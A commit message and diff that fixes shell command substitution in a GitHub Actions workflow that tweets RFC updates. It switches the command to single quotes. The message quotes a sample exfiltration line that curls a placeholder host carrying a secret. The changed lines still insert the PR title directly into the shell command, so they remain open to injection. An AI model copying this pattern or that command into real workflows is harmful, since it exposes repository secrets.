Chore: Use non-interpolating single quotes in Tweet action

RFC #73 originally included backticks around <code>`only`</code>. The
automated tweet omitted "only" and its backticks. I realized that the
`run` action command was using double quotes, so the backticks from the
PR title were being interpreted by the shell as command substitution.
Using single quotes disables any interpolation.

Thankfully only contributors can trigger the automated tweet by labeling
or merging an RFC, and we'd notice something like `curl
example.com?secret=$SECRET`, so this isn't really a security issue.

.github/workflows/tweet-rfc-update.yml

@@ -11,7 +11,7 @@ jobs:
       - uses: actions/setup-node@v1
         with:
           node-version: 12
-      - run: npx @humanwhocodes/tweet "The RFC '${{ github.event.pull_request.title }}' is now in the ${{ github.event.label.name }} phase.\n\n${{ github.event.pull_request.html_url }}"
+      - run: npx @humanwhocodes/tweet 'The RFC "${{ github.event.pull_request.title }}" is now in the ${{ github.event.label.name }} phase.\n\n${{ github.event.pull_request.html_url }}'
         env:
           TWITTER_CONSUMER_KEY: ${{ secrets.TWITTER_CONSUMER_KEY }}
           TWITTER_CONSUMER_SECRET: ${{ secrets.TWITTER_CONSUMER_SECRET }}
@@ -25,7 +25,7 @@ jobs:
       - uses: actions/setup-node@v1
         with:
           node-version: 12
-      - run: npx @humanwhocodes/tweet "The RFC '${{ github.event.pull_request.title }}' has been approved and merged!\n\n${{ github.event.pull_request.html_url }}"
+      - run: npx @humanwhocodes/tweet 'The RFC "${{ github.event.pull_request.title }}" has been approved and merged!\n\n${{ github.event.pull_request.html_url }}'
         env:
           TWITTER_CONSUMER_KEY: ${{ secrets.TWITTER_CONSUMER_KEY }}
           TWITTER_CONSUMER_SECRET: ${{ secrets.TWITTER_CONSUMER_SECRET }}